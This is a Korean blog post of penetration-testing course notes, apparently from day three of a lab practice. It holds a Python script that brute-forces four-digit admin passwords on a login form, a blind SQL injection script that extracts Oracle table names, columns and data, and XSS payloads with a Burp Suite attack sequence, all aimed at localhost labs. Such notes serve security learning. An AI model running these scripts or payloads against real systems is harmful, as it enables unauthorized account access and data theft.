침투 시나리오를 활용한 웹, 모바일 환경 모의 해킹 실습 3일차

bbbbbhyun·2024년 10월 18일
0

BeautifulSoup이용해서 post 자동화 코드

# -*- coding:utf-8 -*-
import requests
from bs4 import BeautifulSoup
import time

url = "https://localhost:8080/login"
header = {"Content-Type": "application/x-www-form-urlencoded"}

cookie = {"JSESSIONID": "476C685C3AB932BB5A721B77D69ED78B"}


for i in range(0, 10000):
    pw = str(i).zfill(4)
    data = {
        "_csrf": "bfc7fe77-12ed-4dc3-9a5d-aa611cb98df6",
        "memberid": "admin",
        "password": pw,
    }
    response = requests.post(
        url, headers=header, cookies=cookie, data=data, timeout=30000
    )

    soup = BeautifulSoup(response.text, "html.parser")
    print(pw)
    print(soup.text)
    if "로그인에 실패했습니다." in soup.text:
        continue
    else:
        print("로그인 성공")
        break
    time.sleep(10)
print()

BeautifulSoup 이용한 SQL Injection 자동화 코드

  • 해당 자동화 코드는 컬럼의 이름까지만 구하는 자동화를 작성
  • 이진 탐색을 이용
import requests
from bs4 import BeautifulSoup
import time

url = "https://localhost:8080"
cookies = {"JSESSIONID": "008E31CF2A3002CA483775E8A9848479"}

def binarySearch(query):
    answer = ""
    first = 1
    end = 10000
    while first < end:
        mid = (first + end) // 2
        attck = f"and ({query}) > {mid}  and 1=1"
        res = requests.get(url + attck, cookies=cookies)
        if "New MacBook Pro" in res.text:
            first = mid + 1
        else:
            end = mid
    answer += chr(first)
    return first


query = "select count(table_name) from user_tables"
count = binarySearch(query)
print(f"1-1. 테이블 개수 : {count}개")

for queryCount in range(1, count + 1):
    query = f"select length(table_name) from (select table_name, rownum as ln from user_tables) where ln = {queryCount}"
    length = binarySearch(query)
    print(f"1-2-1. {queryCount} 번째 테이블 명의 문자열 길이 : {length} 글자")
    tableName = ""
    for queryLength in range(1, length + 1):
        query = f"select ascii(substr(table_name,{queryLength},1)) from (select table_name, rownum as ln from user_tables) where ln = {queryCount}"
        tableName += chr(binarySearch(query))
    print(f"1-2-2. {queryCount} 번째 테이블 명 : {tableName} ")

    query = (
        f"select count(column_name) from all_tab_columns where table_name='{tableName}'"
    )
    coulmnCount = binarySearch(query)
    print(f"{tableName} 테이블 컬럼의 개수 : {coulmnCount}")

    for queryColumnCount in range(1, coulmnCount + 1):
        query = f"select length(column_name) from (select column_name, rownum as ln from all_tab_columns where table_name = '{tableName}') where ln = {queryColumnCount}"
        columnLength = binarySearch(query)
        print(f"{tableName} 테이블 컬럼의 길이 : {columnLength}")

        columnName = ""
        for queryColumnLength in range(1, columnLength + 1):
            query = f"select ascii(substr(column_name,{queryColumnLength},1)) from (select column_name, rownum as ln from all_tab_columns where table_name = '{tableName}') where ln = {queryColumnCount}"
            columnName += chr(binarySearch(query))
        print(f"{tableName} 테이블의 {queryColumnCount} 번째 컬럼명 : {columnName}")

        query = f"select count({columnName}) from {tableName}"
        dataCount = binarySearch(query)
        print(f"{tableName} 테이블의 데이터 수 : {dataCount}")

        for _ in range(1, dataCount + 1):
            query = f"select length({columnName}) from {tableName}"
            dataLengths = binarySearch(query)
            print(f"{tableName} 테이블의 데이터 길이 : {dataCount}")

            dataName =""
            for dataLength in range(1, dataLengths + 1):
                query = f"select ascii(substr({columnName},{dataLength},1)) from '{tableName}'"
                dataName +=  chr(binarySearch(query))
            print(f"{tableName} 테이블의 데이터 이름 : {dataName}")

XSS Cross-site Script

  1. Reflected XSS(반사형 클로스사이트 스크립팅)
    공격자가 악의적인 스크립트가 포함된 URL을 메신저, 이메일 등을 이용하여 사용자에게 노출 시키고 이 URL에 사용자가 접근 할 경우 스크립트가 실행되어 피해를 발생시킴

  2. Stored XSS
    공격자가 악의적인 스크립트를 취약한 서버에 게시물 형태로 등록 시킨 후 사용자가 해당 게시물에 접근 시 스크립트가 실행되어 피해를 발생시킴

  3. DOM Based XSS
    공격자가 악의적인 스크립트가 포함된 URL을 메신저, 이메일 등을 이용하여 사용자에게 노출 시키고 이 URL에 사용자가 접근 할 경우 서버와의 상호작용 없이 브라우저에서 스크립트가 실행되어 피해를 발생시킴

주로 공격때 자주 사용하는 문자열 : <>"!;'

공격 케이스

1. 태그와 태그 사이에 내가 입력한게 들어갈 때

<html>
<body>

  xsstest
    <script>alert('XSS');</script>

</body>
<html>

공격 파라미터 : xsstest

  1. 태그의 안에 내가 입력한게 들어갈 때
<html>
<body>
  <input type="text" value="xsstest"><script>alert('xss');</script><"">
  <script>
    alert('xss');
</script>
<temp temp="">
  
</body>
</html>

공격 파라미터 : "><temp temp="

  1. 이미
<html>
<body>
 .. .
 ..
 <script>
   var a = "https://bank.com/?sa=" + "입력값";
   alert('xss');
   var a= "";
 </script>

</body>
</html>

공격 파라미터 : ";alert('xss'); var a= "

공격 순서

  1. burp suit으로 open brower
  2. proxy intercept on
  3. site get or post
  4. repeater로 켜기
  5. 사용하는 파라미터 체크하기
  6. 자주 사용하는 문자열 치환여부 판단하기
  7. 취약지점 판단하기
  8. 치환안되는 파라미터에 공격 값 넣고 url encoding해서 보내기

Example
기존

function fnEdit()
{
	document.location.href = 'noticeedit.php?board_id=' + '19';}alert('xss');function temp(){var temp='';
}

공격

function fnEdit()
{
    document.location.href = 'noticeedit.php?board_id=' + '19';
}
alert('xss'); 
function temp (){
    var temp ='';
}   

실공격 파라미터
';}alert('xss'); function temp (){var temp ='

profile
BackEnd develope

0개의 댓글